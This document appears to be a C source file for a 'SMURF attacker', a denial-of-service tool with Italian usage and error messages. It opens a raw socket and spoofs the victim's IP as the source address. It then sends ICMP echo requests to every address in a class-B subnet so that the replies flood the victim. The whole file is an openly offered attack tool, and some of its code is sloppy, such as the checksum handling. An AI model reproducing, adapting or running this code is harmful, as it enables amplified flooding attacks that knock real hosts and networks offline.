/**
 * ~~~Black SMURF Attacker~~~
 *  by BlackLight, (C)2008
 * Released under GPL licence v.3
 */
 
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/ip.h>
 
#define ICMP_ECHO               8
#define IPLEN           sizeof(struct iphdr)
#define ICMPLEN         sizeof(struct icmphdr)
 
typedef unsigned char  u8;
typedef unsigned short u16;
typedef unsigned long  u32;
 
struct icmphdr {
        u8              type;
        u8              code;
        u16             checksum;
        u16             id;
        u16             sequence;
};
 
unsigned short csum (u16 *buf, int nwords)  {
        unsigned long sum;
 
        for (sum = 0; nwords > 0; nwords--)
                sum += *buf++;
                sum = (sum >> 16) + (sum & 0xffff);
                sum += (sum >> 16);
        return ~sum;
}
 
main (int argc, char **argv)  {
        int i,j,sd,one,len;
        unsigned char buff[BUFSIZ],in[BUFSIZ];
        char data[56];
        char *tmp;
 
        struct sockaddr_in sin;
        struct iphdr *ip = (struct iphdr*) malloc(IPLEN);
        struct icmphdr *icmp = (struct icmphdr*) malloc(ICMPLEN);
 
        if (!argv[1] || !argv[2])  {
                printf ("Uso: %s <ip_vittima> <subnet_classe_B>\n",argv[0]);
                exit(1);
        }
 
        srand ((unsigned) time(NULL));
        sd=socket (PF_INET, SOCK_RAW, IPPROTO_ICMP);
 
        for (j=0; j<0xFFFF; j++)  {
                sin.sin_family=AF_INET;
                sin.sin_port=0;
                sin.sin_addr.s_addr=inet_addr(argv[2])+htonl(j);
 
                memset (buff,0,sizeof(buff));
 
                for (i=0; i<56; i++)
                        data[i]=i;
 
                ip->version=4;
                ip->ihl=5;
                ip->tos=0;
                ip->tot_len=IPLEN+ICMPLEN+sizeof(data);
                ip->id=0;
                ip->frag_off=0;
                ip->ttl=64;
                ip->protocol=IPPROTO_ICMP;
                ip->check=0;
                ip->saddr=inet_addr(argv[1]);
                ip->daddr=inet_addr(argv[2])+htonl(j);
                ip->check = csum ((u16*) buff, ip->tot_len >> 1);
 
                icmp->type=ICMP_ECHO;
                icmp->code=0;
                icmp->checksum=0;
                icmp->id=1;
                icmp->sequence=1;
 
                tmp = (char*) malloc(ICMPLEN+sizeof(data));
                memcpy (tmp, icmp, ICMPLEN);
                memcpy (tmp+ICMPLEN, data, sizeof(data));
                icmp->checksum=csum((u16*) tmp, ICMPLEN+sizeof(data) >> 1);
 
                memcpy (buff, ip, IPLEN);
                memcpy (buff+IPLEN, icmp, ICMPLEN);
                memcpy (buff+IPLEN+ICMPLEN, data, sizeof(data));
 
                one=1;
 
                if (setsockopt (sd, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) < 0)
                        printf ("Attensione: Impossibile settare l'opzione HDRINCL!\n");
 
                if (sendto (sd,
                                        buff,
                                        ip->tot_len,
                                        0,
                                        (struct sockaddr *) &sin,
                                        sizeof (sin)) < 0)  {
                        printf ("Errore nell'invio\n");
                        exit(1);
                } else
                        printf ("Invio a %s OK\n",inet_ntoa(sin.sin_addr.s_addr));
        }
}